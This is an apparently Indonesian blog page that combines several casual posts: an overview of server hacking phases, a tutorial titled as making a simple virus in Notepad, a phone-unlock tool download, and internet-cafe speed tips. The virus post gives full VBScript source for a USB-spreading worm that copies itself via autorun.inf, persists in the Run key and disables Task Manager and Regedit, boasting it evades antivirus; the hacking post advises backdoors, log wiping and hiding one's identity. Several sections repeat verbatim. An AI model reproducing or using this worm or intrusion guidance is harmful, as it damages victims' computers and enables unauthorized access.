Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
Pro Kontra
Etika Hacking Semua informasi adalah free Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security Intrusion adalah ilustrasi kelemahan sistem Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines Hacking hanya pada idle machines idle machines milik siapa ?
science education hanya membobol tapi tidak merusak “hacker wannabe” berpotensi sangat besar untuk merusak
Okeh, sekarang waktunya melakukan aksi…
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
- Secara Aktif : – portscanning
- network mapping
- OS Detection
- application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
- Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
- via internet registries (informasi domain, IP Addres)
- Website yang menjadi terget
2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host -> $gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.terget.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
- Secara berulang melakukan percobaan otentifikasi.
- Menebak username dan password.
- Cracking password file
~ Social Engineering
- Memperdayai user untuk memeberi tahu Username dan password
- Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Selanjutnya terserah anda………
Cara Membuat Virus Sederhana Melalui Notepad
Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Cara Buka Kode Pengaman HP
Pusing ketika kita lupa password kode keamanan HP kita? Bingung mau nyari nyari kemana gak ketemu. Trus kita pergi ke counter dengan membayar kurang lebih “Rp.50.000 – Rp.200.000″? Apalagi buat anak kost, wih gile banyak abis duit segitu, apalagi buat anak sekolah sama kuliahan. Ampon dah.. Uang jajan bisa abis buat benerin HP gara² lupa security doank! Nah, ni gw kasi toolsnya. Tinggal download dan gunain deh. Gampang kok, gak bakal nyampe 50.000 degh. Kcuali lw sambil maen game sampe 10 Jam di warnet buat download sambil nge-game. Wkwkw.. Yok dah kite mulai..
Image
Nah, tools ini adalah sebuah aplikasi untuk Unlocking Nokia, Siemens, Vitel, Maxel, Panasonic, LG, AEG, Samsung, dan Motorola. Nih penjelasan detailnya”
WorldUnlock Kalkulator adalah sebuah aplikasi gratis untuk Nokia, Siemens, Vitel, Maxel, Panasonic, LG, AEG, Samsung, dan Motorola untuk membuka kode keamanan dan security lainnya.
Include MasterCode kalkulator yang dapat me-reset kode pengaman handphone.
Panduan: 1. Pilih model telepon dari daftar.2. Masukkan nomor IMEI telepon Anda (Tekan * # 06 # pada telepon)3· Pilih negara dan penyedia layanan di mana ponsel dibeli.4· Tekan tombol: Calculate!
5· Nah selanjutnya muncul beberapa unlock codes.6. 7 kode akan ditampilkan, gunakan kode pertama dimulai dari +7.
7· Jika belum bekerja, coba +1 dan yang terakhir +5.
8· Bila telepon menampilkan “Sim restriction off” itu berarti sudah tidak terkunci.9· Jika hanya dua kode yang ditampilkan (+1 dan +2) masukkan code tersebut bersamaan!
Kode akan ditampilkan pada form: # pw + CODE + n #Untuk memperoleh huruf: p, w atau +, tekan tombol * beberapa kali.
Masukkan kode dengan benar dengan menghapus semua simcard dari telepon, kemudian hidupkan telepon kembali dan kemudian masukkan kode.
Fitur “WorldUnlock Codes Calculator” adalah:
· Unlock Nokia
· Unlock LG
· Unlock Panasonic
· Unlock Maxon
· Unlock Samsung
· Unlock AEG/Telital
· Unlock Alcatel
· Unlock Siemens
· Unlock Sony
· Unlock Vitel
NOTE: XP/Vista/7 Is OK :D
DOWNLOAD
Enjoy & Eat It!
Selamat Tahun Baru, Dapet HP Baru Kelupaan Passwordnya. Shit!
Kzkzkz.. q:D
Oh, ya lupa kasih link dunlutnya ni linknya http://hotfile.com/dl/21989133/8dc88d8/WorldUnlock_v4.rar.html
Sorry
Image
Nah, tools ini adalah sebuah aplikasi untuk Unlocking Nokia, Siemens, Vitel, Maxel, Panasonic, LG, AEG, Samsung, dan Motorola. Nih penjelasan detailnya”
WorldUnlock Kalkulator adalah sebuah aplikasi gratis untuk Nokia, Siemens, Vitel, Maxel, Panasonic, LG, AEG, Samsung, dan Motorola untuk membuka kode keamanan dan security lainnya.
Include MasterCode kalkulator yang dapat me-reset kode pengaman handphone.
Panduan: 1. Pilih model telepon dari daftar.2. Masukkan nomor IMEI telepon Anda (Tekan * # 06 # pada telepon)3· Pilih negara dan penyedia layanan di mana ponsel dibeli.4· Tekan tombol: Calculate!
5· Nah selanjutnya muncul beberapa unlock codes.6. 7 kode akan ditampilkan, gunakan kode pertama dimulai dari +7.
7· Jika belum bekerja, coba +1 dan yang terakhir +5.
8· Bila telepon menampilkan “Sim restriction off” itu berarti sudah tidak terkunci.9· Jika hanya dua kode yang ditampilkan (+1 dan +2) masukkan code tersebut bersamaan!
Kode akan ditampilkan pada form: # pw + CODE + n #Untuk memperoleh huruf: p, w atau +, tekan tombol * beberapa kali.
Masukkan kode dengan benar dengan menghapus semua simcard dari telepon, kemudian hidupkan telepon kembali dan kemudian masukkan kode.
Fitur “WorldUnlock Codes Calculator” adalah:
· Unlock Nokia
· Unlock LG
· Unlock Panasonic
· Unlock Maxon
· Unlock Samsung
· Unlock AEG/Telital
· Unlock Alcatel
· Unlock Siemens
· Unlock Sony
· Unlock Vitel
NOTE: XP/Vista/7 Is OK :D
DOWNLOAD
Enjoy & Eat It!
Selamat Tahun Baru, Dapet HP Baru Kelupaan Passwordnya. Shit!
Kzkzkz.. q:D
Oh, ya lupa kasih link dunlutnya ni linknya http://hotfile.com/dl/21989133/8dc88d8/WorldUnlock_v4.rar.html
Sorry
Cara mempercepat koneksi di warnet
TUTORIAL TIPS 1
I. Menggubah setting bandwith Pada windows
Pada dasarnya OS windows sudah membatasi bandwidth untuk koneksi internet sebanyak 20% dari total bandwidth yang seharusnya bisa maksimal,Jika anda ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat dan kencang bisa dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut supaya pada Windows kita bisa maksimal dalam menggunakan bandwidth yang sudah ada.
Ikuti petunjuknya seperti dibawah ini :
1. Klik Start
2. Klik Run
3. Ketik gpedit.msc
4. Kemudian klik Ok
5. Setelah masuk klik Administrative Templates
6. Kemudian Klik Network
7. Setelah terbuka klik QoS Packet scheduler
8. Kemudian klik Limit Reservable Bandwidth
9. Dan setelah terbuka ubah setting menjadi Enable
10. Kemudian ubah Bandwidth Limitnya menjadi 0
11. Klik Apply,ok
12. Kemudian keluar dan Restart komputer
II. Gunakan DNS dari OpenDNS untuk koneksi internet yang lebih cepat dan lebih aman.
1. Klik Start
2. Klik Control Panel
3. Pilih Network & Internet Connection
4. Klik Network Connection
5. Klik Kanan Local Area Connection pilih Properties
6. Pilih Internet Protocol (TCP/IP) kemudian Klik Properties
7. Klik Use Following DNS Server
8. Isi Preferred DNS Server dengan angka : 208.67.222.222
9. Isi Alternate DNS Server dengan angka : 208.67.220.220
10. Kemudian Klik OK
III. Jika menggunakan Browser Firefox gunakan add on Fasterfox, bisa di download disini.
Fasterfox adalah sebuah add on yang berfungsi untuk mempercepat koneksi dengan melakukan optimasi pada network dan cache browser. Fungsi dari cache adalah untuk menyimpan data sementara dari website yang kita kunjungi, sehingga ketika kita membuka kembali website tersebut proses loading-nya akan lebih cepat karena datanya telah disimpan di cache.
Beberapa optimasi yang dapat dilakukan oleh fasterfox adalah: HTTP pipelining, Memory caching,Disk caching,DNS caching,FastBack caching.
IV. Bagi pengguna Firefox, silahkan pasang Adblock
Fungsinya adalah untuk mem-filter iklan-iklan yang tidak perlu pada saat kita browsing, sehingga proses loading akan menjadi lebih cepat dan maksimal.
TUTORIAL TIPS 2
Menurut tulisan itu, ada beberapa cara untuk meningkatkan kecepetan akses internet di antaranya dengan menyetting browser, menggunakan openDNS atau menggunakan Google Web Accelerator.
Setting melalui openDNS sendiri sebenarnya banyak yang meragukan apakah bisa membuat koneksi cepat atau ga ada pengaruh apa-apa, coba anda baca polemiknya di forum. Sedangkan Google Web Acceleratordidesain jika anda menggunakan koneksi broadband seperti cable dan DSL, tetapi untuk dial-up (mis. telkomnet instan atau speedy) juga dapat mempercepat koneksi. Untuk memakai Google Web Accelerator anda harus memenuhi kriteria antara lain Operating system harus windows XP atau windows 2000 dan browser nya harus (minimal) IE 5.5+ atau Mozilla Firefox 1.0+. kalau untuk browser lain juga bisa tetapi harus menkonfigurasi proxy settingsnya dari browser anda dengan menambah 127.0.0.1:9-100 pada HTTP. Setelah melakukan instalasi, Google web accelerator akan menampilkan icon kecil di atas browser dan icon tray di pojok bawah layar desktop.
Untuk cara Setting Browser, silakan ikuti cara2 ini:
Pengguna Internet Explorer:
1. Pilih menu [Tools]
2. Pilih [Internet Option]
3. Klik tab [General]
4. Pada opsi “Temporary Internet Files” klik [Setting] lalu geser slider-nya
TUTORIAL TIPS 3
Koneksi internet yang cepat adalah dambaan setiap orang, seperti cewe cantik juga yang merupakan dambaan setiap orang.:-) kembali ke masalah mempercepat koneksi internet, tapi tips ini hanya berlaku untuk yang di warnet saja dan warnetnya menggunakan mozzila firefox sebagai browsernya. tujuannya adalahmempercepat koneksi internet di komputer kita dengan menyedot bandwitdh komputer lain di dalam 1 warnet. licik juga sih tips ini tapi tidak apa-apa, apalagi di saat warnet yang sedang penuh dan semua komputer lambat, jadi cara ini bisa kita pakai. jadi koneksi internet kita jadi lebih cepat dan yang lain jadi sedikit lambat. kan kalo warnet lagi penuh semuanya lambat, jadi tidak akan pada menyadarinya. okeh saya akan memberitahukan untuk anda, begini caranya untuk mempercepat koneksi internet di warnet:
1. Di address bar mozzila ketik about:config kemudian akan terlihat tulisan yang banyak sekali
2. Gunakan fasilitan ctrl+f untuk mencari kata, kata yang di cari adalah sebagai berikut dan di rubah
* Network.http.pipelining; False <– klik 2 kali ubah “False” menjadi “True“
* Network.http.pipelining.maxrequests; 4 <-- klik 2 kali ubah “4” menjadi “30“
* Network.http.proxy.pipelining; False <– klik 2 kali ubah “False” menjadi “True“
3. Kemudian klik kanan di bagian yang kosong/putih terus pilih new terus integer lalu kolom pertama isikannglayout.initialpaint.delay lalu tekan enter satu kali dan masukan angka 0 dan tekan enter kembali.
4. Restart ulang mozzila firefoxnya
5. Selamat berinternet ria dengan cepat, karena bandwitdh akan tersedot ke komputer anda, ini tadi adalahtips mempercepat koneksi internet di warnet.
I. Menggubah setting bandwith Pada windows
Pada dasarnya OS windows sudah membatasi bandwidth untuk koneksi internet sebanyak 20% dari total bandwidth yang seharusnya bisa maksimal,Jika anda ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat dan kencang bisa dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut supaya pada Windows kita bisa maksimal dalam menggunakan bandwidth yang sudah ada.
Ikuti petunjuknya seperti dibawah ini :
1. Klik Start
2. Klik Run
3. Ketik gpedit.msc
4. Kemudian klik Ok
5. Setelah masuk klik Administrative Templates
6. Kemudian Klik Network
7. Setelah terbuka klik QoS Packet scheduler
8. Kemudian klik Limit Reservable Bandwidth
9. Dan setelah terbuka ubah setting menjadi Enable
10. Kemudian ubah Bandwidth Limitnya menjadi 0
11. Klik Apply,ok
12. Kemudian keluar dan Restart komputer
II. Gunakan DNS dari OpenDNS untuk koneksi internet yang lebih cepat dan lebih aman.
1. Klik Start
2. Klik Control Panel
3. Pilih Network & Internet Connection
4. Klik Network Connection
5. Klik Kanan Local Area Connection pilih Properties
6. Pilih Internet Protocol (TCP/IP) kemudian Klik Properties
7. Klik Use Following DNS Server
8. Isi Preferred DNS Server dengan angka : 208.67.222.222
9. Isi Alternate DNS Server dengan angka : 208.67.220.220
10. Kemudian Klik OK
III. Jika menggunakan Browser Firefox gunakan add on Fasterfox, bisa di download disini.
Fasterfox adalah sebuah add on yang berfungsi untuk mempercepat koneksi dengan melakukan optimasi pada network dan cache browser. Fungsi dari cache adalah untuk menyimpan data sementara dari website yang kita kunjungi, sehingga ketika kita membuka kembali website tersebut proses loading-nya akan lebih cepat karena datanya telah disimpan di cache.
Beberapa optimasi yang dapat dilakukan oleh fasterfox adalah: HTTP pipelining, Memory caching,Disk caching,DNS caching,FastBack caching.
IV. Bagi pengguna Firefox, silahkan pasang Adblock
Fungsinya adalah untuk mem-filter iklan-iklan yang tidak perlu pada saat kita browsing, sehingga proses loading akan menjadi lebih cepat dan maksimal.
TUTORIAL TIPS 2
Menurut tulisan itu, ada beberapa cara untuk meningkatkan kecepetan akses internet di antaranya dengan menyetting browser, menggunakan openDNS atau menggunakan Google Web Accelerator.
Setting melalui openDNS sendiri sebenarnya banyak yang meragukan apakah bisa membuat koneksi cepat atau ga ada pengaruh apa-apa, coba anda baca polemiknya di forum. Sedangkan Google Web Acceleratordidesain jika anda menggunakan koneksi broadband seperti cable dan DSL, tetapi untuk dial-up (mis. telkomnet instan atau speedy) juga dapat mempercepat koneksi. Untuk memakai Google Web Accelerator anda harus memenuhi kriteria antara lain Operating system harus windows XP atau windows 2000 dan browser nya harus (minimal) IE 5.5+ atau Mozilla Firefox 1.0+. kalau untuk browser lain juga bisa tetapi harus menkonfigurasi proxy settingsnya dari browser anda dengan menambah 127.0.0.1:9-100 pada HTTP. Setelah melakukan instalasi, Google web accelerator akan menampilkan icon kecil di atas browser dan icon tray di pojok bawah layar desktop.
Untuk cara Setting Browser, silakan ikuti cara2 ini:
Pengguna Internet Explorer:
1. Pilih menu [Tools]
2. Pilih [Internet Option]
3. Klik tab [General]
4. Pada opsi “Temporary Internet Files” klik [Setting] lalu geser slider-nya
TUTORIAL TIPS 3
Koneksi internet yang cepat adalah dambaan setiap orang, seperti cewe cantik juga yang merupakan dambaan setiap orang.:-) kembali ke masalah mempercepat koneksi internet, tapi tips ini hanya berlaku untuk yang di warnet saja dan warnetnya menggunakan mozzila firefox sebagai browsernya. tujuannya adalahmempercepat koneksi internet di komputer kita dengan menyedot bandwitdh komputer lain di dalam 1 warnet. licik juga sih tips ini tapi tidak apa-apa, apalagi di saat warnet yang sedang penuh dan semua komputer lambat, jadi cara ini bisa kita pakai. jadi koneksi internet kita jadi lebih cepat dan yang lain jadi sedikit lambat. kan kalo warnet lagi penuh semuanya lambat, jadi tidak akan pada menyadarinya. okeh saya akan memberitahukan untuk anda, begini caranya untuk mempercepat koneksi internet di warnet:
1. Di address bar mozzila ketik about:config kemudian akan terlihat tulisan yang banyak sekali
2. Gunakan fasilitan ctrl+f untuk mencari kata, kata yang di cari adalah sebagai berikut dan di rubah
* Network.http.pipelining; False <– klik 2 kali ubah “False” menjadi “True“
* Network.http.pipelining.maxrequests; 4 <-- klik 2 kali ubah “4” menjadi “30“
* Network.http.proxy.pipelining; False <– klik 2 kali ubah “False” menjadi “True“
3. Kemudian klik kanan di bagian yang kosong/putih terus pilih new terus integer lalu kolom pertama isikannglayout.initialpaint.delay lalu tekan enter satu kali dan masukan angka 0 dan tekan enter kembali.
4. Restart ulang mozzila firefoxnya
5. Selamat berinternet ria dengan cepat, karena bandwitdh akan tersedot ke komputer anda, ini tadi adalahtips mempercepat koneksi internet di warnet.
Langganan:
Postingan (Atom)